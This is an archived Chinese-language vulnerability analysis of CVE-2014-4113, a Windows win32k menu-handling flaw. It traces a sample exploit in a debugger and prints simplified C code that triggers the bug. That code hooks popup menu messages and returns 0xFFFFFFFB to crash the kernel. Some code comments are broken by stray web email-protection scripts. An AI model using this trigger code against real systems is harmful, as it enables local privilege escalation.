
        <html>
			<head>
			     <title>CVE-2014-4113漏洞利用过程分析 - cssembly</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/3331">http://drops.wooyun.org/papers/3331</a></h1>
				
      <p>
        <h2>0x00 简介</h2>

<hr />

<p>通过VMware和Windbg搭建32位内核调试环境，系统为xp sp2，执行漏洞利用程序win32.exe calc.exe，弹出了一个SYSTEM权限的calc。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406112679525.png" alt="enter image description here" /></p>

<!--more-->

<p>通过IDA分析<code>win32.exe</code>，可以看到<code>signed int __cdecl sub_4010F2()</code>函数通过调用<code>ZwQuerySystemInformation</code>泄露内核模块<code>ntkrnlpa.exe</code>基址，最终得到<code>PsLookupProcessByProcessId</code>函数地址，该函数用于漏洞利用代码。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406112720444.png" alt="enter image description here" /></p>

<p><code>sub_401830</code>函数是漏洞利用代码，完成权限提升操作。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406112757343.png" alt="enter image description here" /></p>

<h2>0x01 调试过程</h2>

<hr />

<p>通过在函数上设置断点，可以得到漏洞利用触发位置。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406112722090.png" alt="enter image description here" /></p>

<p>可见是由<code>TrackPopupMenu</code>最终触发了漏洞，调用点为<code>call dwordptr[esi+20]</code>，此时<code>esi</code>的值为<code>0xfffffffb</code>。 通过函数调用栈，对esi值的来源进行反向跟踪，可以知道在Menu的消息处理函数<code>signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)</code>中调用<code>int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)</code>时返回了异常的值，最终触发了漏洞。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406112787794.png" alt="enter image description here" /></p>

<p>通过对<code>xxxMNFindWindowFromPoint</code>的调用过程进行分析，找到异常的返回值是在<code>int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)</code>中得到的。异常的值最终是由<code>KeUserModeCallback</code>函数通过v28指向的值返回。其中<code>KeUserModeCallback</code>函数的原型如下：</p>

<pre><code>#!cpp
NTSTATUS
KeUserModeCallback (
     IN ULONGApiNumber,
     IN PVOIDInputBuffer,
     IN ULONGInputLength,
     OUT PVOID *OutputBuffer,
     IN PULONGOutputLength
     );
</code></pre>

<p><img src="http://static.wooyun.org/20141024/2014102406112868642.png" alt="enter image description here" /></p>

<p>内核态的<code>KeUserModeCallback</code>函数最终会调用<code>ntdll</code>中的<code>KiUserCallbackDispatcher</code>函数来调用用户态回调函数，通过对<code>KeUserModeCallback</code>、<code>KiUserCallbackDispatcher</code>设置断点，可以看到第一次处理<code>0x1EB(MN_FINDWINDOWFROMPOINT)</code>消息是通过<code>xxxSendMessageTimeout</code>中调用的xxxCallHook来调用用户注册的钩子函数，在用户空间里函数调用了USER32中的<code>__fnOUTDWORDINDWORD</code>函数，最终调用<code>sub_401475（pfnFilterProc）</code>函数。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406112882040.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20141024/2014102406112844954.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20141024/2014102406112928599.png" alt="enter image description here" /></p>

<p>程序在<code>pfnFilterProc</code>中通过<code>SetWindowLongA</code>设置PopupMenu的窗口消息处理函数，那么当xxxCallHook函数返回后，图中的<code>!(*(_BYTE *)(a1 + 22) &amp; 4)</code>条件成立，将执行<code>xxxSendMessageToClient</code>，该函数内将执行<code>KeUserModeCallback</code>，最终调用用户态函数<code>sub_4013F3</code>。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406113093159.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20141024/2014102406113024447.png" alt="enter image description here" /></p>

<p><code>sub_4013F3</code>函数尾部返回了<code>0xFFFFFFFB</code>。与<code>KeUserModeCallback</code>函数通过v28返回的值相等。为了进一步确认，修改<code>sub_4013F3</code>函数返回值为<code>0xFFFFFFFF</code>。可以看到v28指向的值变成了<code>0xFFFFFFF</code>。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406113052776.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org/20141024/2014102406113035999.png" alt="enter image description here" /></p>

<p>通过修改win32.exe中的指令，将<code>0x40146D</code>处的<code>push 0FFFFFFFBh</code>修改为<code>push 0FFFFFFFFh</code>，执行之后发现提权失败。进一步确定由于内核的使用了异常的函数返回值，最终导致了权限提升。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406113277907.png" alt="enter image description here" /></p>

<p>可见在<code>PopupMenu</code>的窗口消息处理函数处理0x1EB的消息时，没有判断消息函数的返回值，最终导致了权限提升。 所以漏洞触发的完整过程如下：通过模仿点击事件，<code>CreatePopupMenu</code>创建的<code>PopupMenu</code>会收到<code>0x1EB</code>类型的消息，因为无法拿到<code>PopupMenu</code>的窗口句柄，程序并没有办法直接设置<code>PopupMenu</code>的窗口消息处理函数，因此首先通过<code>SetWindowsHookExA</code>注册钩子函数，在钩子函数中得到<code>PopupMenu</code>的窗口句柄，再通过<code>SetWindowLongA</code>设置<code>PopupMenu</code>的窗口消息处理函数，注册之后，<code>xxxSendMessageToClient</code>将调用新的窗口消息处理函数，接收并处理0x1EB的消息。 在新的窗口消息处理函数中，对于消息号为<code>0x1EB</code>的消息，函数返回了<code>0xFFFFFFFB</code>，最终触发了漏洞。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406113655993.png" alt="enter image description here" /></p>

<h2>0x02 触发代码</h2>

<hr />

<p>通过上面的分析，根据win32.exe中代码，稍加简化，可以得到如下的漏洞触发代码。</p>

<pre><code>#!cpp
#include"stdafx.h"
#include&lt;windows.h&gt;
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
  {
if ( dword_40DA5C != 1 )
    {
      dword_40DA5C = 1;
//模仿点击消息，触发0x1EB消息处理，执行pfnFilterProc
      PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
      PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
      PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
    }
  }
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
  HMENU v0; // <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4227203a0273">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
  HMENU v1; // <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="2e4b4a476e1a">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
  MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
  MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
  HMENU v9; // [sp+6Ch] [bp-4h]@1

  v9 = 0;
  memset((void *)&amp;mi, 0, sizeof(mi));
  memset(&amp;v4, 0, sizeof(MENUITEMINFOA));
  mi.cbSize = 48;
  v0 = CreatePopupMenu();
if ( v0 )
  {
    mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &amp;mi) )
    {
      v4.fMask = 68;
      v4.dwTypeData = (LPSTR)&amp;dword_40DA54;
      v4.cch = 1;
      v4.hSubMenu = v0;
      v4.cbSize = 48;
      v1 = CreatePopupMenu();
      v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&amp;v4) )
      {
        DestroyMenu(v0);
if ( v1 )
          DestroyMenu(v1);
      }
    }
else
      DestroyMenu(v0);
  }
return (int)v9;
}

unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB，触发漏洞
}

LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
  {
        UnhookWindowsHook(4, pfnFilterProc);
        //设置PopupMenu的窗口消息处理函数
        lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
  }
return CallNextHookEx(0, nCode, wParam, lParam);
}

int __stdcall Exp()
{
int v1; // <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="88edeaf0c8bb">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
  DWORD v2; // <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="7316120b3346">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
int result; // <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="31545049710003">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
  HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
  LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
  WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
  v5 = 0;
  lpAddress = 0;
  memset(&amp;SystemInfo, 0, 0x24u);
  memset(&amp;WndClass, 0, 0x28u);
  WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
  WndClass.lpszClassName = "woqunimalegebi";
  GetNativeSystemInfo(&amp;SystemInfo);
if ( 
SystemInfo.dwOemId != 9
&amp;&amp; (RegisterClassA(&amp;WndClass)
&amp;&amp;(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) 
)
  {
v1 = 0;
v5 = 1;
    v1 = sub_401306();
    if ( v1 )
    {
        v2 = GetCurrentThreadId();
        SetWindowsHookExA(4, pfnFilterProc, 0, v2);
        TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
    }
    DestroyWindow(hWnd);
if ( v1 )
      DestroyMenu((HMENU)v1);
    UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
      VirtualFree(lpAddress, 0, 0x8000u);
    result = 0;
  }
else
    result = 0;
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
    Exp();
    return 0;
}
</code></pre>

<p>编译执行之后，可以看到触发了异常。</p>

<p><img src="http://static.wooyun.org/20141024/2014102406113661462.png" alt="enter image description here" /></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          